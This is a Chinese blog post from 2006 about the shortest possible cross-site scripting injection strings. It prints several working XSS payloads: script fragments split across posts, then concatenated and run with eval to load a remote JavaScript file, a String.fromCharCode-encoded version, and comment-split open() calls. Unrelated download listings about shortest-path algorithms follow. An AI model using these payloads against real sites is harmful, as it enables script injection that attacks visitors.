`
isiqi
  • 浏览: 16483140 次
  • 性别: Icon_minigender_1
  • 来自: 济南
社区版块
存档分类
最新评论

寻找最短的跨站代码(by jmdcw)

 
阅读更多

那天剑心问我,最短的跨站语句是多少?要放在以前,我一定会这样想,正常的跨站代码:<script>alert("a")</script> ,查一下,一共27个字符。嘿嘿,不过,这之前我在《黑客手册》上看到了他的一篇文章,《疯狂的跨站之行》,在这其中提到了跨站语句的另一种方法:
<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src=ht'</script>
<script>z=z+'tp://ww'</script>
<script>z=z+'w.pc010'</script>
<script>z=z+'.cn/1.'</script>
<script>z=z+'js></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval(z)</script>

将这些语句分别写入,只要所写入的语句在一个页面中显示,那么这些代码最后就会引入到变量z中,总到一块就是:
document.write("<script src=http://www.pc010.cn/1.js></script>")

然后用eval()函数来执行这个z变量,就可以执行出跨站效果了。lcx在文章的评论中说,最小的有效利用代码可以是26个字母,就是<script>z=z+'d"'</script>,答案不就出来了,最小的跨站是26个字符。(今天在网上查找资料时,发现利用这种方法还可以少一个字符,就是:<script>z+='d"'</script>,用+=来代替=z+,嘿嘿,又可以减少一个字符,25个字符,不过,也好伤心,我好像只能在别人的基础上面有所突破!:( )。回复剑心后,他竟回了一个笑脸,我感觉这家伙一定又找出了更短的跨站方法。/jmdcw/

果不其然,今天翻开《黑客手册》第九期中的《phpwind漏洞之行》(因为一些原因,好久没有仔细看过书了),在其中提到了更短的跨站代码,如下:

<script>open(/*
*/"http://127"/*
*/+".0.0.1/"/*
*/)</script>

这其中的/*和*/是script的注释语句,将这些语句分别提交,同样的条件是这些提交的代码必须在一个页面中,这样最后所显示的就是:

<script>open(/*不会显示的无效内容*/"http://127"/*不会显示的无效内容*/+".0.0.1/"/*不会显示的无效内容*/)</script>

那么这个的最短的语句是多少呢?貌似<script>不能分开应用,除了这个,script所定义的函数比如open之类的,好像分开后也不能正常运行了,/jmdcw/这样的话,

先将最上面的语句:document.write("<script src=http://www.pc010.cn/1.js></script>") 转为10进制表示字符:

100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,112,99,48,49,48,46,99,110,47,49,46,106,115,62,60,47,115,99,114,105,112,116,62,34,41,59

然后用eval加String.fromCharCode来执行:<script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,112,99,48,49,48,46,99,110,47,49,46,106,115,62,60,47,115,99,114,105,112,116,62,34,41,59))</script>

下面就用剑心的方法来进行拆分:
<script>/*
*/eval(/*
*/String/*
*/./*
*/fromCharCode/*
*/(100,/*
*/111,99,/*
*/......./*
*/59))/*
*/</script>

中间的....表示的字符和前面的一样,这其中最长的一个语句是:*/fromCharCode/* ,16个字符,因为这是script自已保留的函数名,拆分的话,就不能运行了,由此可以看出,最小的跨站语句是由所采用的函数来定的。

BY 寂寞的刺猬
2006-12-10

分享到:
评论

相关推荐

    Dijkstra算法寻找最短路径的完整源代码

    "Dijkstra算法寻找最短路径的完整源代码" 本资源提供了Dijkstra算法寻找最短路径的完整源代码,同时附带了Kruskal最小生成树算法。该程序提供了输入输出的完整控制台程序,能够帮助用户快速了解和应用Dijkstra算法...

    自动寻找最短路径

    在IT领域,尤其是在网络路由、图论和游戏设计等应用中,“自动寻找最短路径”是一个核心问题。这里我们主要探讨的是使用C语言实现的经典最短路径算法。C语言是一种强大的编程语言,常用于系统编程、嵌入式系统以及...

    最短路径问题代码

    根据给定的信息,本文将对“最短路径问题代码”中的关键知识点进行详细的解析与说明。这段代码使用了C++语言实现了一种求解最短路径的方法,具体来说,它采用了类似于Dijkstra算法的思想来计算图中各节点到指定起点...

    最短路径算法代码 数据结构

    最短路径算法是图论中的一个关键概念,用于在图中寻找从源节点到目标节点的最短路径。数据结构在此类算法中起着至关重要的作用,因为它们决定了算法的效率和实现方式。在这个场景中,提及的是用VS2008编写的最短路径...

    最短路径程序代码.rar

    Dijkstra于1956年提出的,主要用于寻找单源最短路径。它采用贪心策略,每次扩展距离起点最近的未访问节点。这个过程会生成一棵以起点为中心的最短路径树。Dijkstra算法不适用于负权重的边,因为它可能会跳过实际上...

    GPS寻找最短路径程序

    GPS寻找最短路径,本程序其实是一个简化版本,基本实现功能如下: 功能一: 输入:起点和终点(已知交通图) 输出:起点至终点的最短路径 功能二: 能够在已知的地图中加入新的城市,并且对其其他的功能不受影响,即 ...

    最短路径源代码matlab

    图搜索最短路径源代码matlab,找出两结点见最短路径

    C++迷宫问题 寻找最短路径

    实现迷宫寻找最短路径寻找最短路径寻找最短路径

    寻找最短路径的Floyd算法

    通过以上讲解,我们可以理解Floyd算法的基本概念、实现过程以及如何在MATLAB环境中运用该算法来解决寻找最短路径的问题。利用MATLAB的强大计算能力,可以方便地处理大型图数据,实现高效、准确的最短路径计算。

    寻找最短路径A*算法的实现

    总结来说,A*算法是寻找最短路径的有效工具,它结合了Dijkstra算法的精确性和启发式的效率。在Java中实现A*算法,主要涉及到`Node`、`Link`和搜索逻辑的`FindBestPath`类的设计和实现。通过分析和理解这些类的源代码...

    单源最短路径完成代码

    输入源,执行程序,显示它到不同点的最短路径!

    最短路径源代码

    最短路径源代码,尤其在MFC(Microsoft Foundation Classes)框架下的实现,为理解和实践图论中的最短路径算法提供了具体的技术视角。下面将详细解析标题、描述以及部分源代码所涉及的关键知识点。 ### 核心概念:...

    最短路径的代码

    数据结构中单元最短路径,里面有详细的程序代码

    c语言寻找最短路径算法

    在提供的压缩包文件“最短路径”中,可能包含了C语言实现这些算法的源代码,通过阅读和理解代码,可以深入学习如何在实际编程中应用这些算法。对于初学者,这是一次很好的实践机会,不仅能提升C语言编程技能,还能...

    数据结构最短路径算法代码

    最短路径算法是在图论中寻找两点间最短路径的一种算法,广泛应用于网络路由、地图导航、供应链优化等领域。在众多最短路径算法中,Dijkstra算法是最为著名且高效的一种,它适用于无负权重边的加权图。 ### Dijkstra...

    最短路径c语言代码

    在计算机科学中,"最短路径"问题是一个经典且重要的算法问题,主要涉及网络路由、图论和优化等领域。...通过阅读和理解给出的"最短路径"压缩包中的代码,你可以更深入地学习这些算法的细节和C语言的编程技巧。

    最短路径算法Dijkstra源代码

    该算法主要用于寻找带权重的有向或无向图中,从一个特定顶点到其他所有顶点的最短路径。Dijkstra算法的核心思想是贪心策略,它每次选择当前未访问顶点中距离起点最近的一个,并更新与它相邻的顶点的距离。 源代码...

    代码 复杂网络平均最短路径求解程序

    代码 复杂网络平均最短路径求解程序代码 复杂网络平均最短路径求解程序代码 复杂网络平均最短路径求解程序代码 复杂网络平均最短路径求解程序代码 复杂网络平均最短路径求解程序代码 复杂网络平均最短路径求解程序...

    最短路径的C代码

    shorttest_path.cpp 为源代码文件 cityname.txt 保存城市名及数量 citipath.txt 保存两两城市之间的距离 minpath.txt 城市间最短路径(注意因程序保存的是二进制文件所以用记事本打开是乱码) short_path.exe 可执行...

    MAPXTREME寻找最短路径的C#实现代码

    在这个场景下,我们要讨论的是如何在C#环境中利用MAPXTREME实现寻找最短路径的功能。"FINDSHORTPATH"很可能是一个特定的函数或者类,用于解决这个问题。 首先,我们需要了解MAPXTREME的基本概念。MAPXTREME是一个...

Global site tag (gtag.js) - Google Analytics